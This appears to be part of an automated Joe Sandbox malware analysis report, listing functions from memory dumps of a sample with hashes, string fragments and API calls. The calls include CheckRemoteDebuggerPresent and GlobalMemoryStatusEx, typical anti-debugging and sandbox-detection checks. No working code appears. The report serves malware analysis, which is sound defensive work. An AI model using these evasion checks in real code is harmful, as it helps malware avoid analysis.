Opcode ID: a2f61f1878cb4069eb03b8a6efc0fa56e90dc95df9e88b131e66992327377a8a
Instruction ID: 76ad6d56d35471aa9805f4bb94aa812a63646c5d403ca31df1c2b7c06b2c9df3
Opcode Fuzzy Hash: a2f61f1878cb4069eb03b8a6efc0fa56e90dc95df9e88b131e66992327377a8a
Instruction Fuzzy Hash: 94329030B112099FDF54EF68D980BAEBBB6EB88310F108525D805EB395DB35EC52CB91

Function 0664ADA0 Relevance: 10.4, Strings: 8, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0664AF20
$]q, xrefs: 0664AEC1
$]q, xrefs: 0664AF14
$]q, xrefs: 0664AF4F
$]q, xrefs: 0664AF6C
$]q, xrefs: 0664AF78
$]q, xrefs: 0664AECD
$]q, xrefs: 0664AF43

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 3d8a3537f0a703a82f6c12858f4c1cef08d05bd89d6b59b575ce4e6a7fd3e460
Instruction ID: e7c3cd275c966dbf568384531e0dce611181b6867fb53745990d8bd1b513479e
Opcode Fuzzy Hash: 3d8a3537f0a703a82f6c12858f4c1cef08d05bd89d6b59b575ce4e6a7fd3e460
Instruction Fuzzy Hash: D1E19130E102099FCF69EFA8D5906AEB7B6EF85301F108529D819EB358DB34DC46CB91

Function 06649218 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 066492A6
$]q, xrefs: 0664929A
$]q, xrefs: 0664926B
$]q, xrefs: 0664925F

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 566ecd69cf1faf85252c1afe67c8131610f3d1f29f47951e8580246f172390ee
Instruction ID: ce2775fcad406d5b923642d53f0cd6eb904d8e454013641efa348a624ac3963d
Opcode Fuzzy Hash: 566ecd69cf1faf85252c1afe67c8131610f3d1f29f47951e8580246f172390ee
Instruction Fuzzy Hash: 2B916130B4420A9FDB54EF65D950BAFB7F6AF89340F108565C80DEB348EE309D468B91

Function 0664D020 Relevance: 4.5, Strings: 3, Instructions: 798
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0664D42B
$]q, xrefs: 0664D41F
$]q, xrefs: 0664D417

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: 5f0ebb0ffdd5c49eb9461de9ef5c4fc39b3b224e0912917a78f239b4fb3ff375
Instruction ID: 47d8987b1859dc924eb5dc33f76eeb795e57e9ce0e00fb7bd22b2fd8a133f186
Opcode Fuzzy Hash: 5f0ebb0ffdd5c49eb9461de9ef5c4fc39b3b224e0912917a78f239b4fb3ff375
Instruction Fuzzy Hash: 27626E30A013098FCB55EF68E580A5EB7B6FF85304F208929D4059F369DB75ED8ACB91

Function 06644C50 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06644C7B
XPbq, xrefs: 06644DA1
\Obq, xrefs: 06644E2B

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: fa164939f089d97f8bee0b6aeb1ce7ff475a552012c5f7d5f234d4cefb10f691
Instruction ID: 80cad97936f3d1e7b511cbe43ee2f35f108706416e6272817c8a5f9dc3dbb40f
Opcode Fuzzy Hash: fa164939f089d97f8bee0b6aeb1ce7ff475a552012c5f7d5f234d4cefb10f691
Instruction Fuzzy Hash: C5618030F002189FDB54AFA8C8557AEBAF6FF88300F208429E506AB395DF758D458B51

Function 029271E1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 0292725F

Strings

], xrefs: 02927202

Memory Dump Source

Source File: 00000003.00000002.4472512381.0000000002920000.00000040.00000800.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2920000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID: ]
API String ID: 3662101638-3352871620
Opcode ID: 0dc65a758338b95da29005257d7a64a7ff9b9819f81088d582219b13b67402db
Instruction ID: c391cc55d4e5655f5adff5088828c2d64c8fe12bc7886e685a2a5616d9c2749d
Opcode Fuzzy Hash: 0dc65a758338b95da29005257d7a64a7ff9b9819f81088d582219b13b67402db
Instruction Fuzzy Hash: F32139B18012598FCB10CFAAD4447EEFBF4FF49320F14845AE458A7290D7389944CF61

Function 0292F3D7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0292F457

Strings

], xrefs: 0292F40F

Memory Dump Source

Source File: 00000003.00000002.4472512381.0000000002920000.00000040.00000800.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2920000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: ]
API String ID: 1890195054-3352871620
Opcode ID: 3cc62fcb6d9f6c61a0948d6e01561285adb7c03efa101c0c9e9e5b1d8b7b0b47
Instruction ID: c4980f11cbf70d447fbd5ac1978a2515a12bb878717a39d6c5aa9deeb9387b8e
Opcode Fuzzy Hash: 3cc62fcb6d9f6c61a0948d6e01561285adb7c03efa101c0c9e9e5b1d8b7b0b47
Instruction Fuzzy Hash: 942122B1C006599FCB10CFAAD545B9EFBF4BF08314F14856AD418B7641D378A944CFA1

Function 0292F3F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0292F457

Strings

], xrefs: 0292F40F

Memory Dump Source

Source File: 00000003.00000002.4472512381.0000000002920000.00000040.00000800.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2920000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: ]
API String ID: 1890195054-3352871620
Opcode ID: 777c33ba4b3b45c5ff9be255d10a9809679972fcfc1053b937e9adaee0163e4b
Instruction ID: 1f6ea405e2ce6fa34673f36066c0a7ea97b8963b69c884ad711b0be9e3aa47d1
Opcode Fuzzy Hash: 777c33ba4b3b45c5ff9be255d10a9809679972fcfc1053b937e9adaee0163e4b
Instruction Fuzzy Hash: 7B11E2B1C006599BCB10DF9AD544B9EFBF4BF49324F14816AD818A7240D778A944CFA5

Function 06649209 Relevance: 2.7, Strings: 2, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0664929A
$]q, xrefs: 0664925F

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 4c94048f4a126cdda335b5f55ef8657d63c8c4eb693ea7ee8eb6eb90f4a94592
Instruction ID: c5c2920c0b1b0257531bcfc60b10e40d23ec612366b941f8d699e45648b789a2
Opcode Fuzzy Hash: 4c94048f4a126cdda335b5f55ef8657d63c8c4eb693ea7ee8eb6eb90f4a94592
Instruction Fuzzy Hash: 9B516030B142059FDB55EF78D950BAF77F6AB88740F108569D80DDB388EE309C468BA1

Function 06644C20 Relevance: 2.7, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06644C7B
XPbq, xrefs: 06644DA1

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: 3ede0bcf92f8e564e6ebe87a6dff99b5bdabd93e2966131bb962065ee546e8d8
Instruction ID: c82958819cdb0b8eb83e9009873f6d4fac6b15077b2b4f9150fb8ba49a2ab914
Opcode Fuzzy Hash: 3ede0bcf92f8e564e6ebe87a6dff99b5bdabd93e2966131bb962065ee546e8d8
Instruction Fuzzy Hash: F5518E70F002589FDB559FA8C855B9EBBF6EF88700F20842AE505AB395DE758C068B91

Function 0664DBA8 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0664DCF1

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: cb4627bd7be384f5027b37eb714deb81b9d277233a11ab32fae1201d3796119b
Instruction ID: fc5ce4b1369dd58ddd7990dc1af6ff41e8cd00ec78756735970bb9095e65fbb3
Opcode Fuzzy Hash: cb4627bd7be384f5027b37eb714deb81b9d277233a11ab32fae1201d3796119b
Instruction Fuzzy Hash: B8417C30E0030ADFDB55AF65D85469EBBA6FF85340F20452AE405EB384EBB4A946CB91

Function 0664DB95 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0664DCF1

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 47f2a7f2f692f4e0b22c6a55b0e5f61ba6bf78b7e0d44bf69eec5c6e30ee6f7c
Instruction ID: 8409f3304a28f07fdad1b57a1905de034eacddb58583c65a27c284069417068f
Opcode Fuzzy Hash: 47f2a7f2f692f4e0b22c6a55b0e5f61ba6bf78b7e0d44bf69eec5c6e30ee6f7c
Instruction Fuzzy Hash: 4F417C70E00709DFDB55EFA4C88069EBBB6FF85240F10852AE405EB380EBB4D946CB51

Function 0664229D Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

PH]q, xrefs: 066423EB

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 251410d140b95c50d9f4a971af0596c21a6e72baa347566d9c3b26516b8fdf09
Instruction ID: 5aab4662a1b401a5adf4399cca765879bfe4ea96ac9526b8c398ff815eaa9fd9
Opcode Fuzzy Hash: 251410d140b95c50d9f4a971af0596c21a6e72baa347566d9c3b26516b8fdf09
Instruction Fuzzy Hash: A631F330B002058FCB46AB74C56076F7BEAAF89210F244568E806DB3D5EF35CD46CBA1

Function 066422B0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH]q, xrefs: 066423EB

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: a2fbca024901bc730233692df151244e03f4d1c7482f176e1c14277c3fbce925
Instruction ID: 7b70e4c166f8b7efc7f9bbc7d953b76f6d0fed57ac374da44694b60b78bf2cd2
Opcode Fuzzy Hash: a2fbca024901bc730233692df151244e03f4d1c7482f176e1c14277c3fbce925
Instruction Fuzzy Hash: A831C130B002058FDB59AB78C56466F7BEAAF89250F204438E406DB395EE75DE46CBA1

Function 06643968 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

], xrefs: 06643992

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: ]
API String ID: 0-3352871620
Opcode ID: ab067e5aac0a4a41f6f5c0d0a203395438ac1494bc1a971bb6b6fd02948914dd
Instruction ID: 8af08178a25d6bc8393d615cbf3661d322ca8f6dd1af7c870d4e3c5a3e7f19e8
Opcode Fuzzy Hash: ab067e5aac0a4a41f6f5c0d0a203395438ac1494bc1a971bb6b6fd02948914dd
Instruction Fuzzy Hash: FB21E0B5D01259ABCB00DF9AD885ACEFFB4FB49310F10812AE918A7300D379A940CFE5

Function 06643970 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

], xrefs: 06643992

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: ]
API String ID: 0-3352871620
Opcode ID: 700893c0356d6681209439ecc10a567ffdd91f20731b28e1435ed2fd9c42acdf
Instruction ID: 06a33419a11542ee89b05af0c0c100eec850b8bafef61d1f83ca659880c773d8
Opcode Fuzzy Hash: 700893c0356d6681209439ecc10a567ffdd91f20731b28e1435ed2fd9c42acdf
Instruction Fuzzy Hash: F511C0B1D01219ABCB00DF9AD885A9EFBB4FB49310F10812AE518A7340D375A544CBA5

Function 06644739 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Obq, xrefs: 06644745

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: \Obq
API String ID: 0-2878401908
Opcode ID: b67527bac477066b6d2b9c7b5c3c22d5611d4b8a44d003da9df4ff6359ce3de3
Instruction ID: 1c0a8f35c13b6a55b8d315ce08bbdd7a4fe43cfe6f5385410202722820b7363e
Opcode Fuzzy Hash: b67527bac477066b6d2b9c7b5c3c22d5611d4b8a44d003da9df4ff6359ce3de3
Instruction Fuzzy Hash: 9EF0DA30A14219DBDB14EF94E85ABAEBBB6FF84711F204519E402A7394CBB41C46CB80

Function 0664B2FA Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19b981c717965e592e6ff444670a6a698c68e37bf598bc8b780f4a09ee9ff8b6
Instruction ID: 574c472219fe6d57e526e479888928243d0eec62886fa409c625a5dbf94beea1
Opcode Fuzzy Hash: 19b981c717965e592e6ff444670a6a698c68e37bf598bc8b780f4a09ee9ff8b6
Instruction Fuzzy Hash: BAA17770F002098FEF64EE6DD5907AEB7EAEB89310F244825E409DB396DA35DC45C7A1

Function 066462C0 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2de4b30346e55fe966995c534546fa5149283dcaff941d42e52aced55268353
Instruction ID: 093c26b3e1b14a9bb0b467f02aa5696c0bd6873eaf5e3207c6aeed3d55e96c5e
Opcode Fuzzy Hash: d2de4b30346e55fe966995c534546fa5149283dcaff941d42e52aced55268353
Instruction Fuzzy Hash: FD61BF71F001214BDF55AA7EC880A6FBADBAFD5220B154479D80EDB360DE69ED0287D2

Function 066442A4 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f45ed2b1437f8280e323b32e2952c0820478135a370877b38b061143b47f9bba
Instruction ID: d26cfb4532c19901b34577fc929cbbc8b60776012f696f8d7e3ab8591fa2f57f
Opcode Fuzzy Hash: f45ed2b1437f8280e323b32e2952c0820478135a370877b38b061143b47f9bba
Instruction Fuzzy Hash: BB913C30E006198BDF60DF68C890B9DB7B1FF89300F208695D549AB395DB70AE86CB51

Function 06643F89 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ab0b5695a6e4963f92d2f5867dac02990253cd105e3a2958e6242210e1b36ad
Instruction ID: 947358ec9e962d5eab3cb94cc4d8d8b8ecf85bc636129abe41256565c6dc9d1a
Opcode Fuzzy Hash: 1ab0b5695a6e4963f92d2f5867dac02990253cd105e3a2958e6242210e1b36ad
Instruction Fuzzy Hash: AC814C30B102099BDB84EFA9C5557AEB7F6EF89304F108528D40AEB394EF31DC468B91

Function 06643F98 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e6d58f76e26d25aaa0daa0ab32359671512e4cd15b8a5b5fbd334f996a8b96a
Instruction ID: eb376982e5fc82c61354ef461efa490a06fc500f65bc76d97e5c1a099eca5d7c
Opcode Fuzzy Hash: 7e6d58f76e26d25aaa0daa0ab32359671512e4cd15b8a5b5fbd334f996a8b96a
Instruction Fuzzy Hash: CE814C30B102099BDB84EFA9C55576EB7F6EF89304F108528D40AEB394EF31DC468B92

Function 066442B8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b28556e75cc4a7fe944131395fd540886fe4bd6a692db330704d2fd41f6d1046
Instruction ID: 853f114e6737168a671490765ea0e42a64b12306fa1a9afb39fb8bf490f6cca7
Opcode Fuzzy Hash: b28556e75cc4a7fe944131395fd540886fe4bd6a692db330704d2fd41f6d1046
Instruction Fuzzy Hash: 31914C30E106198BDF60DF68C890B9DB7B1FF89300F208599D549AB395EB70AE85CF91

Function 0664EBE0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a826ab3a40aa43c78e79042296b64c064134302de7ba9007ea5420f90853bf
Instruction ID: 27ca784a684ac246ff7d047b99019cd9a6ece893a94bb337d4dc0db94e0290a6
Opcode Fuzzy Hash: 92a826ab3a40aa43c78e79042296b64c064134302de7ba9007ea5420f90853bf
Instruction Fuzzy Hash: 2C713A30A006099FDB45EFA8D990AADBBF6FF88300F148429E419EB355DB31ED46CB50

Function 0664EBF0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c81481a797f75a61ba0ffeb8211198aabf5fe48b229273211402afa97f6ec60c
Instruction ID: 1b28ea588a47ec5bb3c4e679550b6468e308f1e9617d9482794bb52e61d8f726
Opcode Fuzzy Hash: c81481a797f75a61ba0ffeb8211198aabf5fe48b229273211402afa97f6ec60c
Instruction Fuzzy Hash: F9713C30A006089FDB54EFA8D990A9DBBF6FF88300F148529E419EB365DB31ED46CB50

Function 066445D8 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef3b97177cd6f6b61e3b298ed165cb21406154a96c27c3eff884380de96040d
Instruction ID: 6f1ca3916a579843d5c64f4ce3daf3ad11869e60a366d1e0b45386b9b31e277d
Opcode Fuzzy Hash: cef3b97177cd6f6b61e3b298ed165cb21406154a96c27c3eff884380de96040d
Instruction Fuzzy Hash: 9751C330B011049FDB64EBA9D885B5EBBE2EF85314F208429E40AD7391DE31EC42CB91

Function 0664FB09 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b578c62ff69db52dd7fd61f346cb12998477864a1583fb0f01b797e22ab3f57e
Instruction ID: 16bccaa13d68887a58c4472ad37f0dff92c2e9bded2d46c04d7d4f2b3b5708f0
Opcode Fuzzy Hash: b578c62ff69db52dd7fd61f346cb12998477864a1583fb0f01b797e22ab3f57e
Instruction Fuzzy Hash: ED517570B513149FEF647769E95476F2A5EDBC9310F104826E809CB3D9CA7CCC4A87A2

Function 0664FD68 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5df5ee0ab3c78fba0461690f0b6a23f471ea84cb70b2c0e4cf5675467322eadc
Instruction ID: 8bb63a379faae619bd082188f6116487862277472942351665afab99666347dc
Opcode Fuzzy Hash: 5df5ee0ab3c78fba0461690f0b6a23f471ea84cb70b2c0e4cf5675467322eadc
Instruction Fuzzy Hash: 4B51CE31E01205DFDB64BFB8E8846AEBBB2EBC5315F108869E10AD7394DB319855CB91

Function 0664FB18 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 274fd3f42a909a211ba3ba6a615f916ef0c3cf4f9599029ec27c997cd53dfc11
Instruction ID: e2a0c3750771a564f230ebc79dc8571d11b142795de8906b4f14d6c89b4a5d4a
Opcode Fuzzy Hash: 274fd3f42a909a211ba3ba6a615f916ef0c3cf4f9599029ec27c997cd53dfc11
Instruction Fuzzy Hash: 3C519570B113149FEF64766DE95472F265EDBC9310F204826E80AC73D9CA7CCC8987A2

Function 06645510 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f52db17e55652d4634a57b65cfb39e788bdc291528d4601b5ff9354274999994
Instruction ID: fcda2d3db1c8e55fde93b320bf3b60de1bda78a6a196d61734c10180098e5fb1
Opcode Fuzzy Hash: f52db17e55652d4634a57b65cfb39e788bdc291528d4601b5ff9354274999994
Instruction Fuzzy Hash: 25415B71E006098FDF74DEA9D880ABFFBB2EB84310F10492AE21AD7650D731E855CB91

Function 0664FD58 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 823993c0855c892d18df41f3e7a99399e56afc3cdb5db1ea82b9106e3f57110f
Instruction ID: a258c715eaa73dcbcfaa65f022dd46d7312ec38ba6fa64aeee179a62187e77c0
Opcode Fuzzy Hash: 823993c0855c892d18df41f3e7a99399e56afc3cdb5db1ea82b9106e3f57110f
Instruction Fuzzy Hash: 42312131F11105DFCB14BBB8E8446AEBBB2EBC5212F008879E10AE7384DF35881AC791

Function 066445C8 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76b34cdf8631943cf3384ef53c17813e20af902c15f7ea1b41a461104926b996
Instruction ID: b9d8b1bcd0a90543867d6dc51fa0ad3623f1610a11b09e8c113f87efcc8142de
Opcode Fuzzy Hash: 76b34cdf8631943cf3384ef53c17813e20af902c15f7ea1b41a461104926b996
Instruction Fuzzy Hash: 04416F30E101048FDB64EB69D595B9EBBF2EF89304F248429E40ADB3A1DA35DC46CB91

Function 06642160 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5d260a62e5a0d85304f7fbff3d5e2a6dd2727ed4f7db95555e716441ee2b00
Instruction ID: 8f072c4babf31b9af19c0ea99656f3c921bf1003d122aae199693b7b9b1de641
Opcode Fuzzy Hash: ae5d260a62e5a0d85304f7fbff3d5e2a6dd2727ed4f7db95555e716441ee2b00
Instruction Fuzzy Hash: 1E319230E102099BDB55DF64D86469FBBB6AF89300F208619E856E7390DF719942CB50

Function 06645501 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdc66619530de0b0c409042386b5d50e27c17bb319015768d75c269404c48e9b
Instruction ID: 004e6eca1b6cadee5cd259bd1371d37f63f2ba82e7f15d90582ad0052f5f0dee
Opcode Fuzzy Hash: bdc66619530de0b0c409042386b5d50e27c17bb319015768d75c269404c48e9b
Instruction Fuzzy Hash: 01316D71E007098FCB64EEA9C8C1ABEBBB6FB84310F14492AD15AD7654D770E849CB91

Function 06642170 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

